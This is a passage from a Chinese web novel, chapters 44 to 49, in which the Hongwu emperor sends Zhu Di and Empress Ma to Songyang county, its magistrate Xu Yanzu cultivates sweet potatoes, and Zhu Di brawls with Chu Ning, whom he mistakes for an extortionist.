朱元璋可不会忘记徐彦祖,之前徐彦祖不依照大明律法尚且情有可原,这一次朱元璋倒要看看徐彦祖还有什么话好说。 “父皇,这徐彦祖莫非还顶撞过您?” 朱标看到朱元璋在提到徐彦祖的时候整个人都有些咬牙切齿,心中顿时好奇起来。 要知道敢顶撞朱元璋的人,可没有人能够有好下场。 可是这徐彦祖却是不同,顶撞了朱元璋不说,看样子还把朱元璋气的不轻,这明显就非一般人可以做到的。 朱元璋点点头,不过时间都已经过去了这么久,加之到如今朱元璋都还认为那两本松阳县的律法是徐彦祖求软才拿出来,因此对徐彦祖并不存在多少怒意,想到徐彦祖更多的是无奈。 他看向朱标不由感叹道: “标儿啊,这徐彦祖虽然是刘伯温的弟子,但是为人做事还有脾气秉性却和刘伯温天差地别,不过此人倒也不乏是一表人才。” 随后,朱元璋将在松阳县的所见所闻全都告诉给了朱标。 这也让朱标对徐彦祖的兴趣更加浓厚。 “父皇,依照你所言,那松阳县岂不是比这应天府都还要繁华昌盛?” 朱标无比惊讶。 就那些所谓的蔬菜基地,还有宽广平整的道路,光是想象,就能感觉到比应天府要好上不知多少倍。 可应天府乃是整个大明朝的中心,而那松阳县不过是浙江承宣布政使司的一座小县城,两者在地位上可谓是云泥之别。 然而没想到一个小小的县城发展竟然会快过大明中心的应天府! 朱元璋重重点头,这样的事情说出去固然难以置信,可一切都是真实发生在他眼前的,每每想起在松阳县见到的景象,他都不由感叹。 第四十四章 派朱棣下松阳 不过同样的,朱元璋想到松阳县就不可避免的会想到徐彦祖。 “虽然那松阳县的发展很好,徐彦祖也是个人才,可是他却是个刺头,恃才傲物嚣张跋扈,根本就不把朝廷放在眼里!连你父皇也没有放在眼里!” 朱元璋大为头疼,他在徐彦祖的手中可是受了不少气。 闻言,朱浅浅一笑,拱手说道: “父皇,这自古以来,有经天纬地之才的人,从来都是恃才傲物,纵使这等人猖狂了些,可也比那些尸位素餐的官员要好的多,这样的人才是真心为我大明百姓干实事的人。” “更何况,自古以来哪个有才之人没有脾气,就说那武侯诸葛亮,不也要刘备三顾茅庐才肯出山吗?儿臣宁愿朝中上下多些徐彦祖此等为国为民的好官,也胜过那些阿谀奉承结党营私之人千倍万倍!” 朱标这话算是说到朱元璋的心坎去了。 而且,这阿谀奉承,结党营私之人,不正是说的那些淮西勋贵吗! 尤其是胡惟庸。 想到胡惟庸,朱元璋便顺势问道:“标儿,这几日胡惟庸可有异动?” 朱标点点头,眼里带着一缕寒芒。 “父皇,据我所知,那胡惟庸对父皇似乎有些不满,不过他更多的注意力则是放在了徐彦祖的身上,恐怕要对徐彦祖有所异动,父皇不得不防啊。” 朱标说这话也是想要保下徐彦祖。 毕竟徐彦祖也只不过是一介县令,就算再怎么有才,也不过是七品小官,如何能和胡惟庸这等权侵朝野的勋贵相提并论。 朱元璋也没想到胡惟庸竟然会将主意打到徐彦祖的身上,这不由让他想起来之前刘伯温的事情。 他不禁对朱标问道:“标儿,你可还记得之前刘伯温在京都差点被毒死的事情?” 朱标面色一变,他不确定的说道:“父皇您是怀疑?” 朱元璋点点头,虽然他和朱标两人没有把名字说出来,但是两人都心照不宣的知道说的是如今的当朝左相胡惟庸。 “想当初,刘伯温倘若不是收到了一封信件,很有可能就会遭此毒手,如果我没记错的话,这封信还是从松阳县寄来的!” 朱元璋话音刚落,一旁的朱标就心头一震。 要是按照朱元璋这话来说,那徐彦祖甚至提前就预料到了胡惟庸要对刘伯温出手,因此才修书一封让刘伯温躲过一劫。 而后,刘伯温告老还乡,虽然最终还是死在青田,可却算得上是寿终正寝、 “看来,徐彦祖也不是等闲之辈。儿臣这几日修订大明律时,窥一斑而知全豹,能够从两本松阳律法中看出徐彦祖心中的雄才大略,父皇既然看中徐彦祖,不妨也派人前去接触一番。” “最好是从徐彦祖身上学到一些策论,将其用在其他县城之上推广下去,或许可以从中找到利好大明的国策。” 朱标开口提议道。 他此举不仅是想要从徐彦祖那里学到治国之策,同时也可以暗中调查和保护徐彦祖。 “不错,标儿你这个办法好!” 朱元璋猛的一拍大腿,明面上由朝廷派人去往松阳县,胡惟庸就算想要对付徐彦祖,也不敢贸然出手。 不过同时朱元璋也犯了难。 “可是标儿,这派谁去为好呢?” 要知道朝中如今大部分官员或多或少和胡惟庸都有联系,朱元璋并不信任。 对此,朱标早就已经想好了人选,他俯身请示道:“父皇可以派四弟前去!” “你说老四?” 朱元璋回头看向朱标,而后缓缓点头。 “既然是你推荐,那就派他去吧,正好也让他出去磨炼一番,以后也有作为。” 很快,一道圣旨就从宫中传出,传到了朱棣的手上。 “父皇让我去松阳县跟一个县令学习?” “这都什么乱七八糟的!” 朱棣皱着眉头,满脸不悦。 另外一边,朱元璋可不管朱棣怎么想,他已经回到了后宫中。 然而刚一进门,朱元璋就看到马皇后坐在桌边,伏在桌前静静望着窗外,眉头紧皱,眼底带着一缕忧色。 看到这一幕,朱元璋哪里不知道马皇后这是在思念女儿。 他搓了搓手,正打算上前安慰,然而门外就闯进来一个婢女。 “娘娘……” 婢女没想到朱元璋也在,连忙跪地行礼:“奴婢参见陛下,陛下万岁万岁万万岁!” “起来吧。” 朱元璋摆了摆手,不过看着婢女手上拿着的衣服不免疑惑问道:“宫里又没有小孩,你拿小孩子穿的衣服作甚?” 婢女不敢隐瞒,看了马皇后一眼答道: “回禀陛下,这是皇后娘娘让奴婢下去准备的,这衣物是当年为小公主准备的,还有其他有关小公主的贴身事物奴婢也已经让人拿去清洗,稍后就会给皇后娘娘送来。” 婢女的话让朱元璋幽幽叹了口气,他摇摇头将婢女屏退,随后拿着衣服坐到马皇后的身边。 朱元璋知道马皇后这是思念女儿,所以想要睹物思人,他将衣服放在桌上用手抚平,话语里充满了心疼: “妹子啊,咱知道你想女儿,咱已经将朱棣派去了松阳,他会帮忙寻找女儿的,要是你不放心的话,可以跟着一起去松阳住一段时间。” 马皇后没想到朱元璋竟然会让自己跟随朱棣一同前去。 她眼底的悲伤忧愁瞬间消散,眉眼带上了几分笑意。 “重八,我这一次去,一定会把我们的女儿给带回来的!” 马皇后紧紧握住朱元璋的手,保证道。 如此,朱元璋只是将马皇后飘散的发丝捋直,宽慰道: “妹子,万事不用强求,时机到了,女儿自然就会回到我们身边的。” 与此同时,身处相府的胡惟庸则是面色阴冷。 这几日来,他不得上朝,不能参与朝中大事,只能整日龟缩在这着府邸之中养病。 他轻抿了一口茶,眉头顿时一皱。 “这是什么茶,怎么味道如此难喝!” 说罢,直接将手里的茶杯重重摔在地上,瓷片四处飞溅。 这可把一旁侍奉的下人吓的脸色发白。 管家更是闻讯赶来,正好看到地上一片狼藉,四散的都是茶杯的碎片。 第四十五章 寻到红薯 他心里如同明镜一般,这给胡惟庸喝的茶都是明前的龙井,哪里有不好之说,胡惟庸哪里是嫌弃,分明是有气无处撒。 这一切自然都和徐彦祖还有朱元璋的禁令有关,管家连忙说道: “相爷不必动怒,属下已经查明了徐彦祖的身份。” “快说!那徐彦祖当真和刘伯温有关?” 胡惟庸急切说道。 管家点点头,随后将徐彦祖的身份一一道来。 “回相爷,那徐彦祖乃是洪武四年的进士,的确是刘伯温的弟子。不过自从刘伯温归隐乡田之后,两人就再无联系,不过属下查到一件事情,当年那件事情背后,似乎有徐彦祖的影子。” “恩?怎么回事?” 胡惟庸眉头紧皱,他没想到一个小小的徐彦祖竟然还和当年的事情有关。 管家摇摇头,当年的事情被朱元璋封锁,他也只打探到这些消息。 “哼!真是百足之虫死而不僵,早知道当初就已经派人袭杀刘伯温这个老匹夫,如今徐彦祖入了陛下的眼,反倒是不能动他了。” 胡惟庸心中懊悔不已。 当年刘伯温无比警惕避开了他的毒杀,随后就在浙东集团的帮助下告老还乡,病死青田。 他本因为刘伯温一走,这朝堂之上就再无人会给他制造麻烦。 可没想到走了一个老的,又来了一个小的。 如今因为徐彦祖崭露头角,他反而被朱元璋责罚,传出去让他胡惟庸脸上还有什么颜面! 不过,胡惟庸虽然狂妄自大,但混迹官场这么多年,自然不会只看事情的表面。 他沉吟一番后,对一旁的管家说道: “这个徐彦祖很有可能是刘伯温乃至整个浙东集团推出来的棋子,或许我们可以趁机通过徐彦祖一举铲除整个浙东集团!” 胡惟庸眼里燃烧着熊熊的野心,只要将浙东集团彻底铲除,那在这朝廷之上,他淮西一派将再无掣肘! “你现在就派人去松阳县,暗中搜查徐彦祖的罪证,只要找到罪证立刻传回来,到时候我再带着大臣们向陛下施压,我就不信一个小小的县令,还能斗得过我整个淮西一派!” 此时远在松阳县的徐彦祖还不知道朝廷上发生了这么多的事情,更不知道自己已经被胡惟庸给盯上了。 他此刻,正围着一个椭圆形的红色植物大笑连连。 “找到了,终于找到了!” “你们可真是好样的!” 徐彦祖这兴奋的模样让周围人十分不解。 尤其是褚宁,她拿起那个形同圆球一般的植物仔细端详,甚至还凑到了鼻子前面一闻,一股浓浓的土腥味扑面而来。 “徐彦祖,这就是你说的红薯?这就是你派人不远万里前往吕宋找的东西?” 褚宁小小的眼睛里闪着大大的疑惑。 要知道自从松阳县发展起来之后,徐彦祖就一直派人前往吕宋寻找这名为红薯的食物。 甚至徐彦祖还夸下海口,只要有了红薯,这大明朝就不会再发生饥荒之事。 然而如今亲眼见到红薯后,这样一个小小的农作物当真有这般大的能耐? 褚宁自然不行。 见状,徐彦祖撇了撇嘴,嘲笑道: “头发长见识短的土鳖,这可是红薯,红薯你知道吗!” 徐彦祖将红薯宝贝的揣在怀里。 他可是先后派出了四批人前往吕宋寻找这东西,功夫不负有心人,总算让他找到了。 有了这个,不仅是他治下的百姓,整个大明,可以说将再也不会有饥荒出现! “褚宁,你现在立刻就去通知所有的种植园,让他们留出一片土地用来种植红薯,并且将技术骨干全都派到县衙里学习如何栽种红薯。” 徐彦祖立即下令。 很快,一场浩浩荡荡的红薯种植运动就在松阳县展开了。 当晚,徐彦祖就在县衙内传授种植红薯的知识。 并且将理论知识都给种植园的技术骨干们讲明白之后,次日一早就来到了试验田,手把手教众人如何种植红薯。 这些技术骨干都是干农活的一把好手,在徐彦祖的言传身教下很快就在自己的种植园中种下了红薯,这也让徐彦祖大为欣慰。 然而他才视察完松阳县内的种植园,就收到了一道来自朝廷的命令,让他速速回县衙。 回到县衙之后,徐彦祖看到主簿王海正一脸骄傲的坐在桌旁,明月彩霞二人手里各自拿着一本书,而褚宁则是百无聊赖的靠在椅背上,一旁还有一个官差。 见徐彦祖到来,众人纷纷起身。 官差更是开门见山,说明了来意。 “县令大人,这是朝廷送来的新的文书。是新修订的大明律,上面指名道姓一定要县令大人您亲自过目,并且还要求您要严格按照律法行事,不得再私自制定律法。” 说完,官差转身就走,留下一头雾水的徐彦祖。 “新修订的律法?朱大哥动作这么快,而且这一个月时间都还没到,他就已经修订好律法了?” 徐彦祖十分疑惑,要知道他和朱元璋约定的可是一个月时间拿出修订律法的文书,否则朱元璋就要砍他的头。 也正是因为如此,徐彦祖这些人一直都是数着日子过,就等着一月的期限一到,自己就可以死在大明了。 想到很快就能回到现代,过上千亿富翁的躺平日子,还有些小激动。 一旁的明月彩霞闻言,偷偷看了王海一眼,后者则是骄傲的挺了挺胸膛。 随后,明月将新修订的大明律递给徐彦祖。 “大人,你还是先看看这新的律法吧,其实我们松阳县的律法并不需要过多改动。” 明月将律法递给徐彦祖。 这话同时让徐彦祖有些疑惑,不过当他接过律法看完之后一切就全都明白了。 “这是剽窃!这是偷盗!这是侵权!” 看着新修订的大明律中那些新添加和修改的条例,不能说和松阳县两本律法毫不相干,只能说一模一样! 这要是放在后世,赤裸裸都抄袭剽窃! 而且徐彦祖气愤的并不是这一点。 而是如今大明律已经重新修订,并且还是按照他松阳县的律法修订的,那岂不是说朝廷上面不会降罪于他,甚至还会有赏赐? 自己好不容易捞到的一条死路,又让人给堵死了? “是谁!是谁把我松阳县的律法给泄露出去了!” “妈卖批的!老子想死就那么难吗?” 第四十六章 再回松阳 徐彦祖很郁闷! 辛辛苦苦带人跑盐山,绞尽脑汁在朱大善那个钦差面前痛骂大明律,为的不就是寻一条光明正大的死路吗? 这么简单的要求,怎么就总是有人给我搞破坏? “他娘的,我们中出了一个叛徒!” 褚宁愣了一下,眼前一亮,转头冲着明月彩霞小声嘀咕道: “啥时候的事?我怎么不知道?哪个叛徒被中出了?” “我他娘的说的是群众里面有坏人!” 他环视众人,目光锐利。 “你们下去给本彦祖查,此等剽窃抄袭之人,务必要将他抓出来惩处,让褚宁用小皮鞭抽他一百下都难解我心头之恨!” 徐彦祖恶狠狠的说道。 此言一出,众人不禁面面相觑,王海更是一阵后怕。 褚宁则是眉头一皱,像是想到了什么,她连忙问道:“可是徐彦祖,要是遇到上次你说的那么什么m属性的人怎么办,这一百皮鞭下去,真的不是奖赏吗?” 徐彦祖面色一黑,他冷冷地说道:“那就把他送到矿山当黑奴去挖矿,每日只给吃一餐!” “不行,徐彦祖你这样不是侵犯人权吗?” 褚宁还是摇头。 “抄袭狗没有人权!懂?” 徐彦祖瞪了褚宁一眼,随后将手里新的大明律重重拍在桌子上,摔门而去。 众人也随之离去,除了王海。 此刻他正瘫软靠在椅子上,他长舒一口气。 “还好我没有直接跟知县大人邀功,不然只怕此刻已经被送到矿山去了。” 王海有些奇怪,为何徐彦祖会有如此大的反应。 但他转念一想,或许徐彦祖是觉得修订大明律的功劳被抢,到手的赏赐没了,这才勃然大怒。 想到徐彦祖那嗜钱如命的性格,铁定是这个原因! 自己也真是笨,怎么把这点给忘了? 这不是断了知县老爷的财路吗? 他正在思索要不要和徐彦祖坦白的时候,之前摔门而去的徐彦祖又去而复返。 一进门,徐彦祖就紧紧盯着王海,这让后者瞬间冷汗直流。 随后,徐彦祖开口一字一句问道:“王主簿,我记得这两本律法一直都放在县衙,是你在看管吧?” 王海心中咯噔一声,他连忙开口想要解释。 “知县大人,其实……” “你下去好好查查,查清楚了。要是让我知道谁瞒着我私自泄露了松阳县的律法,我一定把他抓回来,要是女的,就送到会所,让她按最臭的脚!可要是男的,我就找五个壮汉让他体验一下什么叫作男上加男!” 徐彦祖的话打断了王海,他而后好奇地问道:“王主簿,其实什么?” 王主簿眉毛一挑,他连连摆手道:“没什么知县大人,我想说的是,兴许是那朱大善私自派人来县衙偷窃呢,他可是能够调动锦衣卫的,要进一个县衙还不是轻而易举。” 王海打定主意,要将锅给甩出去,看着徐彦祖那副认真凶狠的表情,他哪里还敢坦白。 “你说的这个也很有道理,那这件事就此作罢。” 徐彦祖摸了摸下巴,点了点头。 这可是十足的政绩,那朱大善派人来县衙拓印两本律法也有可能。 尤其是他想到一直和自己不对付的毛强,甚至极有可能就是此人所为。 想到在和朱元璋分别之前,那毛强异常的反应,这就让徐彦祖更加确信。 “我就说怪不得那侍卫一直不怀好意的对我笑,果真是没安好心!” 不过如今徐彦祖也拿毛强没有办法,这件事也就此作罢。 等到徐彦祖走后,王海这才惊觉自己整个后背都已经是冷汗直流。 差点,他就被徐彦祖抓去男上加男了,就他这个小体格,别说男上加男,一个男的就够他受了。 这件事就这样轻飘飘的揭过,到最后自然不了了之。 与此同时,远在京城的马皇后和朱棣已经启程前往松阳县。 朱棣骑在马上,满脸不悦。 他发着牢骚:“也不知道父皇和大哥是哪根筋搭错了,竟然让我一个王爷去找一个知县学什么治国之策,倘若这知县当真有真才实学,又岂会只做一个小小的知县,母后你们恐怕是遭那松阳知县徐彦祖给蒙蔽了。” 面对朱棣的牢骚之言,尤其是对徐彦祖的贬低,马皇后脸色一沉。 “老四!” 马皇后重重喊了一句,随后责备道:“你久居皇城,又岂知外面的天高海阔,人杰地灵。须知山外有山人外有人,到了那松阳县,务必要收收你的脾气,这一次你父皇和你大哥是派你来向徐彦祖虚心请教学习国策的,可不是让你来耍王爷威风的!” 马皇后这话一出,朱棣纵使心中有百般不情愿,可依旧只能无奈点头回道:“母后,儿臣知道了。” 马皇后看出了朱棣心中的不痛快,为了以防万一,她又叮嘱道: “老四,这一次去松阳县,既是为了让你和徐彦祖学习国策和技术,同样也是为了寻亲。尤其是极有可能是你亲妹妹都褚宁,她这些年来流落在外,脾气乖张古怪。到时候你可千万不要惹怒于她,更不能主动暴露我们的身份,还记得我是怎么和你说的吗?” 朱棣点点头,不耐烦回道:“娘,这一路你都跟我说了不止一遍了,到了那边我就叫朱小四,我不会暴露身份的,你就放心吧。” 有了朱棣的保证,马皇后这才放下心来,这一次,她临行之前还把女儿小时候的衣物饰品也一同带上,为的就是想看看当褚宁见到这些东西的时候,会不会想起些什么。 反观朱棣,见马皇后不再言语,马车的帘子也已经放下,不由腹诽道: “我倒要看看这个松阳知县徐彦祖有多大本事,竟然让父皇母后对他有如此高的评价,要是真有真才实学也就罢了,可要是个弄虚作假之辈,我必定不饶!” 同时,被马皇后反复念叨甚至责备。 朱棣心中也没由来对这个素未谋面的徐彦祖升起了一股怨气,暗暗盘算等见到徐彦祖之后势必要给其一个下马威。 毕竟明面上自己可是钦差大臣的儿子,收拾一个知县还不是手到擒来。 车队轻车熟路,飞快行驶,很快就来到了松阳地界。 刚一进入松阳地界,朱棣就惊讶不已。 “这官道,竟然如此平整!” 朱棣策马奔腾在平整宽阔的官道上,身边风声猎猎作响,他没想到马皇后所说的竟然是真的。 在这松阳县,果真有比应天府还要平整的道路,简直是匪夷所思! 这也让朱棣第一次开始正视徐彦祖,对这位松阳知县起了好奇心。 第四十七章 朱棣的想法 马皇后在松阳县住了那么多的时日,早就和守城的军士混了个脸熟,一路自然是畅通无阻来到了县衙。 下车后,马皇后便再次对朱棣叮嘱道:“一会见了徐彦祖还有你小妹,切莫露出马脚。” 朱棣点点头,怀揣着浓厚的好奇心随着马皇后跨进县衙。 正巧就迎头碰上了主簿王海。 “钦差夫人!” 王海不可置信的揉了揉眼睛,随后面色一变,他歪着头朝马皇后身后望去,发现这一次跟随而来的侍卫换了一批,之前他相交松阳律法的毛镶爷不在其中,这让他顿时松了一口气。 只要毛镶不在,那么就无人知晓是他泄露了松阳县律法。 马皇后见王海神色有异,不禁问道:“王主簿,可是有什么问题?” 王主簿连连摆手,反问道:“夫人这一次前来松阳,是和钦差大人一起?” “我家大人事务繁忙,此番只有我和家中四郎一同前来。” 马皇后摇摇头,她指了指身旁的朱棣,继而问道: “四郎听闻我们的经历后对徐知县十分仰慕,所以特来拜见,不知徐知县可在?” 王海摇摇头,这段时间徐彦祖一直都在种植园栽培红薯,已经许久都没有来过县衙了。 不过当着马皇后这位钦差夫人的面,王海当然不可能这样说,不然不就是给徐彦祖扣上了一个玩忽职守的罪名吗。 “知县大人外出考察农务,体恤民情,夫人见谅。” 随后,王海又叫来明月彩霞。 “二位,这位夫人就是之前和你们提到过的钦差夫人,你们带夫人和令公子去酒店办入住。” 徐彦祖不在,马皇后自然先是跟随明月彩霞去酒店入住。 这一次,惊讶之人轮到朱棣了。 望着那富丽堂皇的酒店,还有酒店内各种新奇的物件,尤其是缓缓直上的电梯,都让朱棣仿佛推开了新世界的大门一般,连连惊叹。 在明月彩霞的引导下,二人自然住进了酒店最好的总统套房,两个房间正对,有什么情况朱棣也能第一时间察觉。 拧开总统套房的门后,朱棣瞬间就被那硕大的琉璃灯具给惊住了。 “好大的琉璃盏!” 朱棣眼底闪过一丝异色,随后上前拿起茶具喝一旁的水杯,眼里更是惊讶。 “此地!竟然连同茶具都是琉璃所做,真是奢侈!” 惊讶过后,朱棣心中更多的是气愤。 他刚才多嘴问了一句,得知这松阳大酒店乃是徐彦祖的产业。 如此奢侈的房间,如此富丽堂皇的楼房,其中要耗费的人力物力在他朱棣看来,只怕是一个天文数字! 而徐彦祖一个小小的松阳知县,官居七品,一年的俸禄也不过百两银子,连一个琉璃做的杯子都买不到,更遑论这些东西。 “好你个松阳知县徐彦祖,竟然如此贪腐,怪不得能够修建出如此平整的大道,可见平日里如何欺压百姓,贪赃枉法!” 朱棣有想到刚才县衙内主簿王海说徐彦祖去视察民情,在朱棣看来,这分明就是去搜刮民脂民膏! “父皇母后他们果然是被蒙蔽了,还有大哥更是听信父皇一面之词,好在我到了这松阳县,这一次定要叫徐彦祖这等贪官污吏受到他应有的惩罚。” 朱棣眼底闪过一抹厉色,作为老朱家的孩子,他对贪官同样也是无比痛恨。 另外一边,徐彦祖正在种植园中观察红薯的生长势头,就有衙役骑马赶到。 “知县大人,王主簿传来消息,让您速回县衙!” 衙役高呼一声,随后下马将王海的手书交由徐彦祖。 “这么急着叫我回县衙,不会是账又对不上了吧?” 徐彦祖嘀咕了一句,接过手书一看,不由一愣。 他没想到马皇后竟然来了,而且还带上了自己的儿子。 “看起来,郑大姐这是把我这里当成度假旅游区了啊,不过多半还是为了寻找女儿而来。” 徐彦祖暗暗想道,同时将目光落在了朱小四这个名字上。 “都说虎父无犬子,朱大哥脾气如此火爆,只怕他儿子也不差,而且如今这个年纪,正是血气方刚一心为民的时候,只需要我露出一些马脚给他,必定能够让其上报朝廷将我革职杀头!” 徐彦祖心中打着盘算,倘若只有马皇后一人前来他还别无办法,可是一位钦差大人的儿子,杀自己分量已经足够了。 于是,徐彦祖猛的一拍大腿,当即朝身边的技术人员说道:“这种植园的事情就交由你了,有什么问题就翻书,要是书上没有就派人来问我,本彦祖要先会县衙。” 交代好一切之后,徐彦祖甚至顾不得身上的泥污,坐到马背上和衙役一同回县城。 与此同时,身处酒店之中的朱棣,望着这奢靡的酒店房间,心中也在盘算。 “徐彦祖虽然只是一个小小的七品知县,但是母后父皇毕竟先前被其懵逼,又觉得此人是个有才之人,难免会宽宏大量,因此我必须搜集徐彦祖的罪证,这样才能让父皇母后信服。” 朱棣此刻已然对徐彦祖动了杀心,但他也知道事情要徐徐图之。 于是,朱棣起身推开房门,随后走出酒楼。 想要搜集徐彦祖的罪证,那最好了解的地方可能就是这县城之中的百姓。 毕竟徐彦祖能够迷惑朱元璋和马皇后,难不成还能堵得住这松阳县城百姓的悠悠之口吗! 怀揣着这般心思,朱棣漫无目的走在县城的大街上。 只是朱棣一连走过几条街道,所目睹的都是百姓安居乐业欣欣向荣的样子。 这也让朱棣不由开始自我怀疑起来。 “难道是我猜错了?这徐彦祖虽然是个贪官,但也爱民如子?” 就在这时,朱棣余光中突然看到一个女子带着两个衙役走到一户摆摊的番商面前。 “查猜,这个月的保护费是不是该缴纳一下了?” 此人正是褚宁,如今她一副吊儿郎当的模样,一只手叉着腰,一只脚踩在一旁的石柱上,手里抛着一串铜钱,很明显是从那一位番商那里收取来的。 第四十八章 管教褚宁 褚宁这匪里匪气的话语也是让查猜有些哭笑不得。 两年前,他跟随松阳县的商队从暹罗过来,在暹罗和松阳两地倒卖特产,每年的利润都有足足上万两白银。 而褚宁收的,明明是每月的摊位租金、卫生管理费和治安管理费,到了褚宁的口中就硬生生变成了保护费。 不过查猜也早就对褚宁这副玩世不恭的样子习以为常。 他拿出提前准备好的铜钱放在褚宁的手中,顺手从一旁的小车上取下一串翡翠珠串递给褚宁。 “褚巡检,一些小玩意,您拿着玩。” 周围番商小贩对其早就已经见怪不怪。 褚宁是徐彦祖的妹妹,而徐彦祖对他们都有大恩,因此他们对褚宁也是无比热情。 可这一幕落在朱棣的眼中可就不是这样了。 在朱棣看来,褚宁这是带着官差在逼迫这些番商摊贩交取保护费,并且索要财物也就罢了,还索要物品,简直是横行霸道! 朱棣怒不可遏,他径直走上前对着褚宁斥责道: “大胆,光天化日之下,竟然敢当街索要财物,你身后跟着衙役,难道你是官府之人?” 褚宁刚接过翡翠珠串,被朱棣这突如其来的一道厉喝,顿时一惊。 那翡翠珠串就这么掉到了地上,散落一地,几颗翠绿的珠子滚了两圈后,落到了朱棣的脚边。 见状,朱棣一脚将珠子踹飞。 这等品相极差的东西,他可不想碰到脏了自己的鞋。 然而正是朱棣这一脚,彻底激怒了褚宁。 “你是个什么东西,也敢来管姑奶奶的事情,还糟蹋劳动人民的劳动成果,给我打!” 褚宁狠狠瞪着朱棣一眼,随后招呼身后的两个衙役上前对付朱棣。 然而朱棣从小习武,又岂是一般的衙役能够对付的。 眼见两个衙役袭来,朱棣面不改色,负手而立。 先是侧身避过其中一个衙役的拳头,随后右腿朝后一踢,将另外一个衙役踢翻在地,紧接着翻身一跃到先前那个衙役面前,凌空两脚将其踢到褚宁身边。 “就这种三脚猫的功夫,也好意思出来丢人现眼?这松阳县的衙役竟都这般废物,我看这知县也是疏于管教,今日正好让本来替他好好管教你们一番。” 朱棣这盛气凌人的模样,让褚宁面色一沉。 她没想到朱棣打了人还敢大放厥词,而且还扬言要踢徐彦祖教训她们,简直把她当作软柿子看。 “忒!大胆妖孽!雕虫小技竟敢班门弄斧,吃我一记大威天龙!” 褚宁纵身一跃跳到朱棣身前,对其胸口就是一掌拍出。 朱棣面色不变,和褚宁对了一掌,随后两人缠斗在了一起。 这个时候,身后紧随朱棣而来的侍卫恰巧看到了这一幕,顿时神色一变。 他们可都是跟着朱元璋来过一次的人了,对于松阳县衙这位双花大红棍已经领教过了。 连毛指挥使都不是她的对手,自己这些人能顶什么用? 而如今,燕王殿下竟然直接当街和褚姑娘大打出手,这可怎么办? 几个侍卫对视了一眼,一时间竟然不知道该如何是好。 “这……怎么办?要帮一下燕王殿下吗?” “帮倒是没问题,可回头皇后娘娘怪罪下来,咱们怎么说?” “那我先去通知皇后娘娘,你们……要不就眼神助攻一下?” 几个点头之后,那些侍卫当即把佩刀握在手里,刀都没出鞘,就那么提着,在朱棣身后来回跳跃躲闪,一副忙得不可开交的样子。 侍卫不敢动手,褚宁身边的衙役可不管你这那的,围着朱棣就是一顿暴打。 朱棣正和褚宁交手,突然之间后背就被人捶了一拳,还没反应过来,腰子又被人踢了一脚。 回头看到自己带来的侍卫都在那装,差点气笑了。 娘的! 合着一直都是我一个打四个呗? 朱棣连忙几个后退,脱离褚宁和衙役的围殴,咬牙切齿道: “你们不讲武德!不是说好了单挑吗?” “谁跟你说好了?” 褚宁嘴一歪,不屑道: “本姑娘打架,向来都是人多打人少,专挑落单的锤!” 说着,手指头放嘴边又吹了一个口哨。 转眼之间,又一队衙役从不远处跑过来,将朱棣几人团团围住。 不得不说,被一群衙役团团围住,这让年轻气盛的朱棣也有些心虚。 这群人打架根本不讲武德,人多打人少就算了,什么插眼睛、踩脚背、撩阴腿,能用的都用。 幸亏自己有两下子,不然此时已经不能站着说话了。 现在又来了这么多人,怎么搞? 搞不了一点! 朱棣急忙后退几步,冲着身后的侍卫小声说道: “一会儿打起来,注意保护本王!” 说着,回头一看,就见那几个侍卫齐刷刷跪在地上,举着腰刀,一副缴械投降的样子。 开玩笑,打不了一点好吧? 朱棣脸色瞬间阴沉下来。 见状,褚宁嗤笑道:“出来混,要讲实力,要讲背景!你哪个道上的?” “本……本人朱小四,你可以叫我朱哥,我受得起!” “原来是个小瘪三?” “屁大的本事都没有,也敢学别人行侠仗义?更何况,你当真以为你在行侠仗义吗?” 褚宁的话让朱棣不解,但他刚才清楚地看到褚宁朝摊贩要钱,因此冷冷地说道:“要杀要剐,哪那么多废话!” 见到朱棣这么硬气,褚宁反而笑了。 她让一众衙役退开,解下腰间的武器放在一旁,朝朱棣招了招手。 “别说我不给你机会,放下武器,打赢我你就可以从这走出去。要是打不赢,那就去衙门里好好住上几天,让你家大人来领你。” “你!” 面对这番羞辱,朱棣涨红了脸,可他也知道现如今只能和褚宁单打独斗才有脱困的希望。 于是,朱棣主动解下宝剑放在一旁,活动了一番手脚后,朝褚宁招手说道:“来吧,你一介女流,输了可别哭鼻子!” 褚宁眼睛一眯:“我倒要看看等下谁哭鼻子!” 说完,褚宁一个箭步就冲到朱棣身边,冲拳直奔朱棣面门。 朱棣则是双手格挡在胸前,左脚勾起,朝上踢去。 褚宁见招拆招,向后翻身的同时,双脚自上而下压向朱棣。 不过却被朱棣双手挡住,而后更是打算抓住褚宁的裤腿,想要抱腿将褚宁摔倒在地。 好在褚宁借力翻身,同时一脚横踹,哪怕朱棣第一时间抵挡,也被踹的后腿了好几步。 “好!” “褚姑娘天下无敌!” “褚姑娘文成武德,千秋万载,战无不胜,一统江湖!” 周围围观的人群纷纷喝彩。 褚宁更是用手擦了一下鼻子,淡然道:“我看你也不过是三脚猫的功夫!” 身边围观百姓对褚宁的喝彩和对自己的嘲讽,加上褚宁这句三脚猫的功夫,瞬间就激怒了朱棣。 他双手紧握,提膝主动朝褚宁攻去。 这个时候,回去报信的侍卫也寻到了马皇后。 “禀报皇后娘娘,燕王和一个褚姑娘打起来了,您快去看看吧!” “什么?褚宁!” 马皇后脸色一变,她心中暗道一声不好连忙起身。 “快带我去,要是晚了老四可就麻烦了!” 第四十九章 你说我错了? “只希望褚姑娘能够手下留情了。” 马皇后心中无比担忧,要知道之前褚宁和毛镶交手都能占据上风,那可是锦衣卫的头领,武功比之朱棣要高强的多。 毛镶尚且不能在褚宁的手里占到便宜,更不要说朱棣。 而且事到如今,褚宁还不知道朱棣的身份,甚至都不知道朱棣是她的儿子。 心急如焚下的马皇后很快就带着侍卫赶到。 此刻褚宁和朱棣的战场已经被围观的群众牢牢围成一圈。 在侍卫的帮助下,马皇后很快挤进人堆来到了最前面。 可眼前的一幕瞬间就让她脸色一变。 只见褚宁正骑在朱棣的身上,双膝死死锁住朱棣的手臂,挥舞着拳头殴打着朱棣。 朱棣此时早已涨红了脸! 可褚宁的力气比他想象的要大得多,哪怕拼尽全力反抗也挣脱不了,因此只能用双手护住自己的脸,同时嘴里还在放着狠话: “你打!让你打!你打不死我,我就抄你家,诛你九族!” “还嘴硬!我给你个大嘴巴子!” 说着,褚宁双手穿过缝隙,又给了朱棣几个大嘴巴子! 眼见围观的百姓越来越多,朱棣的面子算是彻底丢尽了。 他怕再这样下去,以后天底下让谈论起自己这个燕王殿下时,恐怕就徒留一身污名了。 想到这里,朱棣只能服软,小声说道: “你放了我,之前你欺压百姓的事情我可以既往不咎,就当是放你一条生路。” 